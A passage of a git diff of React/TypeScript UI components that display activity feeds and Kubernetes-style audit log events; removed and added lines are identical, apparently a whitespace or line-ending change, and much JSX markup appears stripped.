layout with tab navigation for Activity Feed, Events, and Audit Logs. - * Framework-agnostic — pass a linkComponent (e.g., react-router's Link) for navigation. - */ -export function ActivityLayout({ - basePath, - activeTab, - tabs, - linkComponent: LinkComp, - children, - className, -}: ActivityLayoutProps) { - const resolvedTabs = tabs ?? defaultTabs(basePath); - - return ( -
-
- - - {resolvedTabs.map((tab) => ( - - {LinkComp ? ( - {tab.label} - ) : ( - {tab.label} - )} - - ))} - - -
-
-
- {children} -
-
-
- ); -} +import React from 'react'; +import { Tabs, TabsList, TabsTrigger } from './ui/tabs'; +import { cn } from '../lib/utils'; + +export interface ActivityTab { + label: string; + value: string; + href: string; +} + +export interface ActivityLayoutProps { + /** Base path for constructing tab routes */ + basePath: string; + /** Currently active tab value. Derive from the current URL in your app. */ + activeTab: string; + /** Optional custom tabs. Defaults to Activity Feed, Events, and Audit Logs. */ + tabs?: ActivityTab[]; + /** Link component to render tab triggers as navigable links (e.g., react-router's Link) */ + linkComponent?: React.ElementType; + /** Content to render below the tabs */ + children: React.ReactNode; + /** Optional className for the outer container */ + className?: string; +} + +const defaultTabs = (basePath: string): ActivityTab[] => [ + { label: 'Activity Feed', value: 'feed', href: basePath }, + { label: 'Events', value: 'events', href: `${basePath}/events` }, + { label: 'Audit Logs', value: 'audit-logs', href: `${basePath}/audit-logs` }, +]; + +/** + * Shared activity layout with tab navigation for Activity Feed, Events, and Audit Logs. + * Framework-agnostic — pass a linkComponent (e.g., react-router's Link) for navigation. + */ +export function ActivityLayout({ + basePath, + activeTab, + tabs, + linkComponent: LinkComp, + children, + className, +}: ActivityLayoutProps) { + const resolvedTabs = tabs ?? defaultTabs(basePath); + + return ( +
+
+ + + {resolvedTabs.map((tab) => ( + + {LinkComp ? ( + {tab.label} + ) : ( + {tab.label} + )} + + ))} + + +
+
+
+ {children} +
+
+
+ ); +} diff --git a/ui/src/components/ApiErrorAlert.tsx b/ui/src/components/ApiErrorAlert.tsx index 1aae8ed9..c1fc62d4 100644 --- a/ui/src/components/ApiErrorAlert.tsx +++ b/ui/src/components/ApiErrorAlert.tsx @@ -1,62 +1,62 @@ -import { AlertCircle, AlertTriangle, RotateCw } from 'lucide-react'; -import { Alert, AlertDescription } from './ui/alert'; -import { Button } from './ui/button'; -import { defaultErrorFormatter } from '../lib/errors'; -import type { ErrorFormatter } from '../types/activity'; - -export interface ApiErrorAlertProps { - error: Error | null; - onRetry?: () => void; - className?: string; - /** Custom error formatter for customizing error messages */ - errorFormatter?: ErrorFormatter; -} - -type FriendlyError = { - friendlyTitle: string; - friendlyMessage: string; - suggestion?: string | null; - severity: 'warning' | 'error'; -}; - -function isFriendlyError(error: Error): error is Error & FriendlyError { - return 'friendlyTitle' in error && 'friendlyMessage' in error && 'severity' in error; -} - -export function ApiErrorAlert({ error, onRetry, className, errorFormatter }: ApiErrorAlertProps) { - if (!error) return null; - - // Use custom formatter if provided, otherwise use default - const formatter = errorFormatter || defaultErrorFormatter; - const formatted = formatter(error); - - // Determine error details - const isFriendly = isFriendlyError(error); - const message = formatted.message; - const severity = isFriendly ? error.severity : 'error'; - - // Choose alert variant and icon based on severity - const alertVariant = severity === 'warning' ? 'warning' : 'destructive'; - const Icon = severity === 'warning' ? AlertTriangle : AlertCircle; - - return ( - svg]:top-2.5 [&>svg]:left-3 ${className || ''}`}> - - - {message} - {onRetry && ( - - )} - - - ); -} +import { AlertCircle, AlertTriangle, RotateCw } from 'lucide-react'; +import { Alert, AlertDescription } from './ui/alert'; +import { Button } from './ui/button'; +import { defaultErrorFormatter } from '../lib/errors'; +import type { ErrorFormatter } from '../types/activity'; + +export interface ApiErrorAlertProps { + error: Error | null; + onRetry?: () => void; + className?: string; + /** Custom error formatter for customizing error messages */ + errorFormatter?: ErrorFormatter; +} + +type FriendlyError = { + friendlyTitle: string; + friendlyMessage: string; + suggestion?: string | null; + severity: 'warning' | 'error'; +}; + +function isFriendlyError(error: Error): error is Error & FriendlyError { + return 'friendlyTitle' in error && 'friendlyMessage' in error && 'severity' in error; +} + +export function ApiErrorAlert({ error, onRetry, className, errorFormatter }: ApiErrorAlertProps) { + if (!error) return null; + + // Use custom formatter if provided, otherwise use default + const formatter = errorFormatter || defaultErrorFormatter; + const formatted = formatter(error); + + // Determine error details + const isFriendly = isFriendlyError(error); + const message = formatted.message; + const severity = isFriendly ? error.severity : 'error'; + + // Choose alert variant and icon based on severity + const alertVariant = severity === 'warning' ? 'warning' : 'destructive'; + const Icon = severity === 'warning' ? AlertTriangle : AlertCircle; + + return ( + svg]:top-2.5 [&>svg]:left-3 ${className || ''}`}> + + + {message} + {onRetry && ( + + )} + + + ); +} diff --git a/ui/src/components/AuditEventViewer.tsx b/ui/src/components/AuditEventViewer.tsx index 61ca6fea..f7285e95 100644 --- a/ui/src/components/AuditEventViewer.tsx +++ b/ui/src/components/AuditEventViewer.tsx @@ -1,273 +1,273 @@ -import { useState } from 'react'; -import { format } from 'date-fns'; -import type { Event } from '../types'; -import type { Tenant, TenantLinkResolver, TenantType } from '../types/activity'; -import { TenantBadge } from './TenantBadge'; -import { Button } from './ui/button'; -import { Card } from './ui/card'; -import { Badge } from './ui/badge'; - -export interface AuditEventViewerProps { - events: Event[]; - className?: string; - onEventSelect?: (event: Event) => void; - /** Optional resolver function to make tenant badges clickable */ - tenantLinkResolver?: TenantLinkResolver; -} - -/** - * Extract tenant information from audit event annotations if present - * Expected annotations: tenant.type and tenant.name - */ -function extractTenantFromAnnotations(event: Event): Tenant | undefined { - const annotations = event.annotations; - if (!annotations) return undefined; - - const tenantType = annotations['tenant.type']; - const tenantName = annotations['tenant.name']; - - if (tenantType && tenantName) { - const validTypes: TenantType[] = ['platform', 'organization', 'project', 'user']; - if (validTypes.includes(tenantType as TenantType)) { - return { - type: tenantType as Tenant['type'], - name: tenantName, - }; - } - } - - return undefined; -} - -/** - * AuditEventViewer displays a list of audit events with details - */ -export function AuditEventViewer({ - events, - className = '', - onEventSelect, - tenantLinkResolver, -}: AuditEventViewerProps) { - const [selectedEvent, setSelectedEvent] = useState(null); - const [expandedEvents, setExpandedEvents] = useState>(new Set()); - - const toggleEventExpansion = (auditId: string) => { - const newExpanded = new Set(expandedEvents); - if (expandedEvents.has(auditId)) { - newExpanded.delete(auditId); - } else { - newExpanded.add(auditId); - } - setExpandedEvents(newExpanded); - }; - - const handleEventClick = (event: Event) => { - setSelectedEvent(event); - if (onEventSelect) { - onEventSelect(event); - } - }; - - const formatTimestamp = (timestamp?: string) => { - if (!timestamp) return 'N/A'; - try { - return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss'); - } catch { - return timestamp; - } - }; - - const getVerbBadgeVariant = (verb?: string): 'default' | 'secondary' | 'destructive' | 'outline' | 'success' | 'warning' => { - switch (verb?.toLowerCase()) { - case 'create': - return 'success'; - case 'update': - case 'patch': - return 'warning'; - case 'delete': - return 'destructive'; - case 'get': - case 'list': - case 'watch': - return 'default'; - default: - return 'secondary'; - } - }; - - if (events.length === 0) { - return ( -
-
No events found
-
- ); - } - - return ( -
-
- {events.map((event) => { - const auditId = event.auditID || ''; - const isExpanded = expandedEvents.has(auditId); - const tenant = extractTenantFromAnnotations(event); - - return ( - handleEventClick(event)} - > -
-
- - {event.verb?.toUpperCase() || 'UNKNOWN'} - - - {event.objectRef?.resource || 'N/A'} - - {event.objectRef?.namespace && ( - - ns: {event.objectRef.namespace} - - )} - {event.objectRef?.name && ( - {event.objectRef.name} - )} - {tenant && ( - - )} -
-
- {event.user?.username || 'N/A'} - - {formatTimestamp(event.stageTimestamp)} - - -
-
- - {isExpanded && ( -
-
-

Event Information

-
-
Audit ID:
-
{event.auditID || 'N/A'}
-
Stage:
-
{event.stage || 'N/A'}
-
Level:
-
{event.level || 'N/A'}
-
Request URI:
-
{event.requestURI || 'N/A'}
- {event.userAgent && ( - <> -
User Agent:
-
{event.userAgent}
- - )} - {event.sourceIPs && event.sourceIPs.length > 0 && ( - <> -
Source IPs:
-
{event.sourceIPs.join(', ')}
- - )} -
-
- - {tenant && ( -
-

Tenant

- -
- )} - - {event.user && ( -
-

User Information

-
-
Username:
-
{event.user.username || 'N/A'}
-
UID:
-
{event.user.uid || 'N/A'}
- {event.user.groups && event.user.groups.length > 0 && ( - <> -
Groups:
-
{event.user.groups.join(', ')}
- - )} -
-
- )} - - {event.responseStatus && ( -
-

Response Status

-
-
Code:
-
{event.responseStatus.code || 'N/A'}
-
Status:
-
{event.responseStatus.status || 'N/A'}
- {event.responseStatus.message && ( - <> -
Message:
-
{event.responseStatus.message}
- - )} -
-
- )} - - {event.annotations && Object.keys(event.annotations).length > 0 && ( -
-

Annotations

-
- {Object.entries(event.annotations).map(([key, value]) => ( -
-
{key}:
-
{value}
-
- ))} -
-
- )} - - {(event.requestObject || event.responseObject) ? ( -
-

Request/Response Data

- {event.requestObject ? ( -
- Request Object -
{JSON.stringify(event.requestObject, null, 2)}
-
- ) : null} - {event.responseObject ? ( -
- Response Object -
{JSON.stringify(event.responseObject, null, 2)}
-
- ) : null} -
- ) : null} -
- )} -
- ); - })} -
-
- ); -} +import { useState } from 'react'; +import { format } from 'date-fns'; +import type { Event } from '../types'; +import type { Tenant, TenantLinkResolver, TenantType } from '../types/activity'; +import { TenantBadge } from './TenantBadge'; +import { Button } from './ui/button'; +import { Card } from './ui/card'; +import { Badge } from './ui/badge'; + +export interface AuditEventViewerProps { + events: Event[]; + className?: string; + onEventSelect?: (event: Event) => void; + /** Optional resolver function to make tenant badges clickable */ + tenantLinkResolver?: TenantLinkResolver; +} + +/** + * Extract tenant information from audit event annotations if present + * Expected annotations: tenant.type and tenant.name + */ +function extractTenantFromAnnotations(event: Event): Tenant | undefined { + const annotations = event.annotations; + if (!annotations) return undefined; + + const tenantType = annotations['tenant.type']; + const tenantName = annotations['tenant.name']; + + if (tenantType && tenantName) { + const validTypes: TenantType[] = ['platform', 'organization', 'project', 'user']; + if (validTypes.includes(tenantType as TenantType)) { + return { + type: tenantType as Tenant['type'], + name: tenantName, + }; + } + } + + return undefined; +} + +/** + * AuditEventViewer displays a list of audit events with details + */ +export function AuditEventViewer({ + events, + className = '', + onEventSelect, + tenantLinkResolver, +}: AuditEventViewerProps) { + const [selectedEvent, setSelectedEvent] = useState(null); + const [expandedEvents, setExpandedEvents] = useState>(new Set()); + + const toggleEventExpansion = (auditId: string) => { + const newExpanded = new Set(expandedEvents); + if (expandedEvents.has(auditId)) { + newExpanded.delete(auditId); + } else { + newExpanded.add(auditId); + } + setExpandedEvents(newExpanded); + }; + + const handleEventClick = (event: Event) => { + setSelectedEvent(event); + if (onEventSelect) { + onEventSelect(event); + } + }; + + const formatTimestamp = (timestamp?: string) => { + if (!timestamp) return 'N/A'; + try { + return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss'); + } catch { + return timestamp; + } + }; + + const getVerbBadgeVariant = (verb?: string): 'default' | 'secondary' | 'destructive' | 'outline' | 'success' | 'warning' => { + switch (verb?.toLowerCase()) { + case 'create': + return 'success'; + case 'update': + case 'patch': + return 'warning'; + case 'delete': + return 'destructive'; + case 'get': + case 'list': + case 'watch': + return 'default'; + default: + return 'secondary'; + } + }; + + if (events.length === 0) { + return ( +
+
No events found
+
+ ); + } + + return ( +
+
+ {events.map((event) => { + const auditId = event.auditID || ''; + const isExpanded = expandedEvents.has(auditId); + const tenant = extractTenantFromAnnotations(event); + + return ( + handleEventClick(event)} + > +
+
+ + {event.verb?.toUpperCase() || 'UNKNOWN'} + + + {event.objectRef?.resource || 'N/A'} + + {event.objectRef?.namespace && ( + + ns: {event.objectRef.namespace} + + )} + {event.objectRef?.name && ( + {event.objectRef.name} + )} + {tenant && ( + + )} +
+
+ {event.user?.username || 'N/A'} + + {formatTimestamp(event.stageTimestamp)} + + +
+
+ + {isExpanded && ( +
+
+

Event Information

+
+
Audit ID:
+
{event.auditID || 'N/A'}
+
Stage:
+
{event.stage || 'N/A'}
+
Level:
+
{event.level || 'N/A'}
+
Request URI:
+
{event.requestURI || 'N/A'}
+ {event.userAgent && ( + <> +
User Agent:
+
{event.userAgent}
+ + )} + {event.sourceIPs && event.sourceIPs.length > 0 && ( + <> +
Source IPs:
+
{event.sourceIPs.join(', ')}
+ + )} +
+
+ + {tenant && ( +
+

Tenant

+ +
+ )} + + {event.user && ( +
+

User Information

+
+
Username:
+
{event.user.username || 'N/A'}
+
UID:
+
{event.user.uid || 'N/A'}
+ {event.user.groups && event.user.groups.length > 0 && ( + <> +
Groups:
+
{event.user.groups.join(', ')}
+ + )} +
+
+ )} + + {event.responseStatus && ( +
+

Response Status

+
+
Code:
+
{event.responseStatus.code || 'N/A'}
+
Status:
+
{event.responseStatus.status || 'N/A'}
+ {event.responseStatus.message && ( + <> +
Message:
+
{event.responseStatus.message}
+ + )} +
+
+ )} + + {event.annotations && Object.keys(event.annotations).length > 0 && ( +
+

Annotations

+
+ {Object.entries(event.annotations).map(([key, value]) => ( +
+
{key}:
+
{value}
+
+ ))} +
+
+ )} + + {(event.requestObject || event.responseObject) ? ( +
+

Request/Response Data

+ {event.requestObject ? ( +
+ Request Object +
{JSON.stringify(event.requestObject, null, 2)}
+
+ ) : null} + {event.responseObject ? ( +
+ Response Object +
{JSON.stringify(event.responseObject, null, 2)}
+
+ ) : null} +
+ ) : null} +
+ )} +
+ ); + })} +
+
+ ); +} diff --git a/ui/src/components/AuditLogExpandedDetails.tsx b/ui/src/components/AuditLogExpandedDetails.tsx index b2a2c944..5a9555bd 100644 --- a/ui/src/components/AuditLogExpandedDetails.tsx +++ b/ui/src/components/AuditLogExpandedDetails.tsx @@ -1,290 +1,290 @@ -import { format } from 'date-fns'; -import type { Event } from '../types'; - -export interface AuditLogExpandedDetailsProps { - /** The audit event to display details for */ - event: Event; -} - -/** - * Format timestamp for display (with timezone) - */ -function formatTimestampFull(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss \'UTC\''); - } catch { - return timestamp; - } -} - -/** - * AuditLogExpandedDetails renders the expanded details section for an audit log event. - * - * Section order (most to least relevant for investigation): - * 1. Request Summary (verb, URI) - * 2. Response Summary (status code with icon, message) - * 3. Timestamp (full) - * 4. User (username, UID, groups) - * 5. Resource (kind, name, namespace, API group) - * 6. Request Details (user agent, source IPs) - * 7. Advanced (collapsed) - audit ID, stage, level, annotations - * 8. Raw Objects (collapsed) - request/response JSON - */ -export function AuditLogExpandedDetails({ event }: AuditLogExpandedDetailsProps) { - const timestamp = event.stageTimestamp || event.requestReceivedTimestamp; - - return ( -
- {/* Request Summary */} -
-

- Request Summary -

-
-
Verb:
-
{event.verb || 'Unknown'}
- {event.requestURI && ( - <> -
URI:
-
{event.requestURI}
- - )} -
-
- - {/* Response Summary */} - {event.responseStatus && ( -
-

- Response Summary -

-
- {event.responseStatus.code !== undefined && ( - <> -
Status Code:
-
- = 200 && event.responseStatus.code < 300 - ? 'text-green-600 dark:text-green-400' - : 'text-red-600 dark:text-red-400' - } - > - {event.responseStatus.code >= 200 && event.responseStatus.code < 300 ? '✓ ' : '✗ '} - {event.responseStatus.code} - -
- - )} - {event.responseStatus.status && ( - <> -
Status:
-
{event.responseStatus.status}
- - )} - {event.responseStatus.message && ( - <> -
Message:
-
{event.responseStatus.message}
- - )} - {event.responseStatus.reason && ( - <> -
Reason:
-
{event.responseStatus.reason}
- - )} -
-
- )} - - {/* Timestamp */} -
-

- Timestamp -

-

- {formatTimestampFull(timestamp)} -

-
- - {/* User Information */} - {event.user ? ( -
-

- User -

-
- {event.user.username && ( - <> -
Username:
-
{event.user.username}
- - )} - {event.user.uid && ( - <> -
UID:
-
{event.user.uid}
- - )} - {event.user.groups && event.user.groups.length > 0 && ( - <> -
Groups:
-
- {event.user.groups.join(', ')} -
- - )} -
-
- ) : null} - - {/* Resource Information */} - {event.objectRef && ( -
-

- Resource -

-
- {event.objectRef.resource && ( - <> -
Kind:
-
{event.objectRef.resource}
- - )} - {event.objectRef.name && ( - <> -
Name:
-
{event.objectRef.name}
- - )} - {event.objectRef.namespace && ( - <> -
Namespace:
-
{event.objectRef.namespace}
- - )} - {event.objectRef.apiGroup && ( - <> -
API Group:
-
{event.objectRef.apiGroup}
- - )} - {event.objectRef.apiVersion && ( - <> -
API Version:
-
{event.objectRef.apiVersion}
- - )} - {event.objectRef.uid && ( - <> -
UID:
-
{event.objectRef.uid}
- - )} - {event.objectRef.subresource && ( - <> -
Subresource:
-
{event.objectRef.subresource}
- - )} -
-
- )} - - {/* Request Details */} - {(event.userAgent || (event.sourceIPs && event.sourceIPs.length > 0)) && ( -
-

- Request Details -

-
- {event.userAgent && ( - <> -
User Agent:
-
{event.userAgent}
- - )} - {event.sourceIPs && event.sourceIPs.length > 0 && ( - <> -
Source IPs:
-
{event.sourceIPs.join(', ')}
- - )} -
-
- )} - - {/* Advanced Details (collapsed) */} - {(event.auditID || event.stage || event.level || (event.annotations && Object.keys(event.annotations).length > 0)) && ( -
- -

- - Advanced -

-
-
-
- {event.auditID && ( - <> -
Audit ID:
-
{event.auditID}
- - )} - {event.stage && ( - <> -
Stage:
-
{event.stage}
- - )} - {event.level && ( - <> -
Level:
-
{event.level}
- - )} - {event.annotations && Object.entries(event.annotations).map(([key, value]) => ( -
-
{key}:
-
{value}
-
- ))} -
-
-
- )} - - {/* Raw Objects (collapsed) */} - {(event.requestObject || event.responseObject) ? ( -
- -

- - Raw Objects -

-
-
- {event.requestObject ? ( -
-
Request Object
-
-                  {JSON.stringify(event.requestObject, null, 2)}
-                
-
- ) : null} - {event.responseObject ? ( -
-
Response Object
-
-                  {JSON.stringify(event.responseObject, null, 2)}
-                
-
- ) : null} -
-
- ) : null} -
- ); -} +import { format } from 'date-fns'; +import type { Event } from '../types'; + +export interface AuditLogExpandedDetailsProps { + /** The audit event to display details for */ + event: Event; +} + +/** + * Format timestamp for display (with timezone) + */ +function formatTimestampFull(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss \'UTC\''); + } catch { + return timestamp; + } +} + +/** + * AuditLogExpandedDetails renders the expanded details section for an audit log event. + * + * Section order (most to least relevant for investigation): + * 1. Request Summary (verb, URI) + * 2. Response Summary (status code with icon, message) + * 3. Timestamp (full) + * 4. User (username, UID, groups) + * 5. Resource (kind, name, namespace, API group) + * 6. Request Details (user agent, source IPs) + * 7. Advanced (collapsed) - audit ID, stage, level, annotations + * 8. Raw Objects (collapsed) - request/response JSON + */ +export function AuditLogExpandedDetails({ event }: AuditLogExpandedDetailsProps) { + const timestamp = event.stageTimestamp || event.requestReceivedTimestamp; + + return ( +
+ {/* Request Summary */} +
+

+ Request Summary +

+
+
Verb:
+
{event.verb || 'Unknown'}
+ {event.requestURI && ( + <> +
URI:
+
{event.requestURI}
+ + )} +
+
+ + {/* Response Summary */} + {event.responseStatus && ( +
+

+ Response Summary +

+
+ {event.responseStatus.code !== undefined && ( + <> +
Status Code:
+
+ = 200 && event.responseStatus.code < 300 + ? 'text-green-600 dark:text-green-400' + : 'text-red-600 dark:text-red-400' + } + > + {event.responseStatus.code >= 200 && event.responseStatus.code < 300 ? '✓ ' : '✗ '} + {event.responseStatus.code} + +
+ + )} + {event.responseStatus.status && ( + <> +
Status:
+
{event.responseStatus.status}
+ + )} + {event.responseStatus.message && ( + <> +
Message:
+
{event.responseStatus.message}
+ + )} + {event.responseStatus.reason && ( + <> +
Reason:
+
{event.responseStatus.reason}
+ + )} +
+
+ )} + + {/* Timestamp */} +
+

+ Timestamp +

+

+ {formatTimestampFull(timestamp)} +

+
+ + {/* User Information */} + {event.user ? ( +
+

+ User +

+
+ {event.user.username && ( + <> +
Username:
+
{event.user.username}
+ + )} + {event.user.uid && ( + <> +
UID:
+
{event.user.uid}
+ + )} + {event.user.groups && event.user.groups.length > 0 && ( + <> +
Groups:
+
+ {event.user.groups.join(', ')} +
+ + )} +
+
+ ) : null} + + {/* Resource Information */} + {event.objectRef && ( +
+

+ Resource +

+
+ {event.objectRef.resource && ( + <> +
Kind:
+
{event.objectRef.resource}
+ + )} + {event.objectRef.name && ( + <> +
Name:
+
{event.objectRef.name}
+ + )} + {event.objectRef.namespace && ( + <> +
Namespace:
+
{event.objectRef.namespace}
+ + )} + {event.objectRef.apiGroup && ( + <> +
API Group:
+
{event.objectRef.apiGroup}
+ + )} + {event.objectRef.apiVersion && ( + <> +
API Version:
+
{event.objectRef.apiVersion}
+ + )} + {event.objectRef.uid && ( + <> +
UID:
+
{event.objectRef.uid}
+ + )} + {event.objectRef.subresource && ( + <> +
Subresource:
+
{event.objectRef.subresource}
+ + )} +
+
+ )} + + {/* Request Details */} + {(event.userAgent || (event.sourceIPs && event.sourceIPs.length > 0)) && ( +
+

+ Request Details +

+
+ {event.userAgent && ( + <> +
User Agent:
+
{event.userAgent}
+ + )} + {event.sourceIPs && event.sourceIPs.length > 0 && ( + <> +
Source IPs:
+
{event.sourceIPs.join(', ')}
+ + )} +
+
+ )} + + {/* Advanced Details (collapsed) */} + {(event.auditID || event.stage || event.level || (event.annotations && Object.keys(event.annotations).length > 0)) && ( +
+ +

+ + Advanced +

+
+
+
+ {event.auditID && ( + <> +
Audit ID:
+
{event.auditID}
+ + )} + {event.stage && ( + <> +
Stage:
+
{event.stage}
+ + )} + {event.level && ( + <> +
Level:
+
{event.level}
+ + )} + {event.annotations && Object.entries(event.annotations).map(([key, value]) => ( +
+
{key}:
+
{value}
+
+ ))} +
+
+
+ )} + + {/* Raw Objects (collapsed) */} + {(event.requestObject || event.responseObject) ? ( +
+ +

+ + Raw Objects +

+
+
+ {event.requestObject ? ( +
+
Request Object
+
+                  {JSON.stringify(event.requestObject, null, 2)}
+                
+
+ ) : null} + {event.responseObject ? ( +
+
Response Object
+
+                  {JSON.stringify(event.responseObject, null, 2)}
+                
+
+ ) : null} +
+
+ ) : null} +
+ ); +} diff --git a/ui/src/components/AuditLogFeedItem.tsx b/ui/src/components/AuditLogFeedItem.tsx index 5e1baec1..17aa676d 100644 --- a/ui/src/components/AuditLogFeedItem.tsx +++ b/ui/src/components/AuditLogFeedItem.tsx @@ -1,196 +1,196 @@ -import { useState } from 'react'; -import { format, formatDistanceToNow } from 'date-fns'; -import type { Event } from '../types'; -import { AuditLogExpandedDetails } from './AuditLogExpandedDetails'; -import { cn } from '../lib/utils'; -import { Button } from './ui/button'; -import { Card } from './ui/card'; -import { Badge } from './ui/badge'; - -export interface AuditLogFeedItemProps { - /** The audit event to render */ - event: Event; - /** Handler called when the item is clicked */ - onEventClick?: (event: Event) => void; - /** Whether the item is selected */ - isSelected?: boolean; - /** Additional CSS class */ - className?: string; - /** Whether to show as compact (for resource detail tabs) */ - compact?: boolean; - /** Whether this is a newly streamed event */ - isNew?: boolean; - /** Whether the item starts expanded */ - defaultExpanded?: boolean; -} - -/** - * Format timestamp for display - */ -function formatTimestamp(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - const date = new Date(timestamp); - return formatDistanceToNow(date, { addSuffix: true }); - } catch { - return timestamp; - } -} - -/** - * Format timestamp for tooltip (with timezone) - */ -function formatTimestampFull(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss \'UTC\''); - } catch { - return timestamp; - } -} - -/** - * Get Tailwind classes for verb badge - */ -function getVerbBadgeClasses(verb?: string): string { - const baseClasses = 'text-[0.55rem] h-5 px-2 py-1 leading-3'; - const normalized = verb?.toLowerCase(); - - switch (normalized) { - case 'create': - return cn(baseClasses, 'bg-green-100 text-green-700 dark:bg-green-900 dark:text-green-300'); - case 'update': - case 'patch': - return cn(baseClasses, 'bg-amber-100 text-amber-700 dark:bg-amber-900 dark:text-amber-300'); - case 'delete': - return cn(baseClasses, 'bg-red-100 text-red-700 dark:bg-red-900 dark:text-red-300'); - default: - return cn(baseClasses, 'bg-muted text-muted-foreground'); - } -} - -/** - * Get response status indicator (✓ or ✗) - */ -function getResponseStatusIndicator(code?: number): { icon: string; className: string } { - if (!code) { - return { icon: '?', className: 'text-muted-foreground' }; - } - - if (code >= 200 && code < 300) { - return { icon: '✓', className: 'text-green-600 dark:text-green-400' }; - } - - return { icon: '✗', className: 'text-red-600 dark:text-red-400' }; -} - -/** - * Build human-readable summary - */ -function buildAuditSummary(event: Event): string { - const username = event.user?.username || 'Unknown user'; - const verb = event.verb || 'performed action'; - const kind = event.objectRef?.resource || 'resource'; - const name = event.objectRef?.name || ''; - const namespace = event.objectRef?.namespace; - - let summary = `${username} ${verb} ${kind}`; - if (name) { - summary += ` ${name}`; - } - if (namespace) { - summary += ` in ${namespace}`; - } - - return summary; -} - -/** - * AuditLogFeedItem renders a single audit log event in the feed - */ -export function AuditLogFeedItem({ - event, - onEventClick, - isSelected = false, - className = '', - compact = false, - isNew = false, - defaultExpanded = false, -}: AuditLogFeedItemProps) { - const [isExpanded, setIsExpanded] = useState(defaultExpanded); - - const handleClick = () => { - onEventClick?.(event); - }; - - const toggleExpand = (e: React.MouseEvent) => { - e.stopPropagation(); - setIsExpanded(!isExpanded); - }; - - const timestamp = event.stageTimestamp || event.requestReceivedTimestamp; - const summary = buildAuditSummary(event); - const statusIndicator = getResponseStatusIndicator(event.responseStatus?.code); - - return ( - -
- {/* Main Content */} -
- {/* Single row layout: Summary + Metadata + Timestamp + Expand */} -
- {/* Summary - takes remaining space */} -
- {summary} -
- - {/* Verb badge */} - - {event.verb?.toUpperCase() || 'UNKNOWN'} - - - {/* Response status */} - - {statusIndicator.icon} - {event.responseStatus?.code && ( - {event.responseStatus.code} - )} - - - {/* Timestamp */} - - {formatTimestamp(timestamp)} - - - {/* Expand button */} - -
-
-
- - {/* Expanded Details */} - {isExpanded && } -
- ); -} +import { useState } from 'react'; +import { format, formatDistanceToNow } from 'date-fns'; +import type { Event } from '../types'; +import { AuditLogExpandedDetails } from './AuditLogExpandedDetails'; +import { cn } from '../lib/utils'; +import { Button } from './ui/button'; +import { Card } from './ui/card'; +import { Badge } from './ui/badge'; + +export interface AuditLogFeedItemProps { + /** The audit event to render */ + event: Event; + /** Handler called when the item is clicked */ + onEventClick?: (event: Event) => void; + /** Whether the item is selected */ + isSelected?: boolean; + /** Additional CSS class */ + className?: string; + /** Whether to show as compact (for resource detail tabs) */ + compact?: boolean; + /** Whether this is a newly streamed event */ + isNew?: boolean; + /** Whether the item starts expanded */ + defaultExpanded?: boolean; +} + +/** + * Format timestamp for display + */ +function formatTimestamp(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + const date = new Date(timestamp); + return formatDistanceToNow(date, { addSuffix: true }); + } catch { + return timestamp; + } +} + +/** + * Format timestamp for tooltip (with timezone) + */ +function formatTimestampFull(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + return format(new Date(timestamp), 'yyyy-MM-dd HH:mm:ss \'UTC\''); + } catch { + return timestamp; + } +} + +/** + * Get Tailwind classes for verb badge + */ +function getVerbBadgeClasses(verb?: string): string { + const baseClasses = 'text-[0.55rem] h-5 px-2 py-1 leading-3'; + const normalized = verb?.toLowerCase(); + + switch (normalized) { + case 'create': + return cn(baseClasses, 'bg-green-100 text-green-700 dark:bg-green-900 dark:text-green-300'); + case 'update': + case 'patch': + return cn(baseClasses, 'bg-amber-100 text-amber-700 dark:bg-amber-900 dark:text-amber-300'); + case 'delete': + return cn(baseClasses, 'bg-red-100 text-red-700 dark:bg-red-900 dark:text-red-300'); + default: + return cn(baseClasses, 'bg-muted text-muted-foreground'); + } +} + +/** + * Get response status indicator (✓ or ✗) + */ +function getResponseStatusIndicator(code?: number): { icon: string; className: string } { + if (!code) { + return { icon: '?', className: 'text-muted-foreground' }; + } + + if (code >= 200 && code < 300) { + return { icon: '✓', className: 'text-green-600 dark:text-green-400' }; + } + + return { icon: '✗', className: 'text-red-600 dark:text-red-400' }; +} + +/** + * Build human-readable summary + */ +function buildAuditSummary(event: Event): string { + const username = event.user?.username || 'Unknown user'; + const verb = event.verb || 'performed action'; + const kind = event.objectRef?.resource || 'resource'; + const name = event.objectRef?.name || ''; + const namespace = event.objectRef?.namespace; + + let summary = `${username} ${verb} ${kind}`; + if (name) { + summary += ` ${name}`; + } + if (namespace) { + summary += ` in ${namespace}`; + } + + return summary; +} + +/** + * AuditLogFeedItem renders a single audit log event in the feed + */ +export function AuditLogFeedItem({ + event, + onEventClick, + isSelected = false, + className = '', + compact = false, + isNew = false, + defaultExpanded = false, +}: AuditLogFeedItemProps) { + const [isExpanded, setIsExpanded] = useState(defaultExpanded); + + const handleClick = () => { + onEventClick?.(event); + }; + + const toggleExpand = (e: React.MouseEvent) => { + e.stopPropagation(); + setIsExpanded(!isExpanded); + }; + + const timestamp = event.stageTimestamp || event.requestReceivedTimestamp; + const summary = buildAuditSummary(event); + const statusIndicator = getResponseStatusIndicator(event.responseStatus?.code); + + return ( + +
+ {/* Main Content */} +
+ {/* Single row layout: Summary + Metadata + Timestamp + Expand */} +
+ {/* Summary - takes remaining space */} +
+ {summary} +
+ + {/* Verb badge */} + + {event.verb?.toUpperCase() || 'UNKNOWN'} + + + {/* Response status */} + + {statusIndicator.icon} + {event.responseStatus?.code && ( + {event.responseStatus.code} + )} + + + {/* Timestamp */} + + {formatTimestamp(timestamp)} + + + {/* Expand button */} + +
+
+
+ + {/* Expanded Details */} + {isExpanded && } +
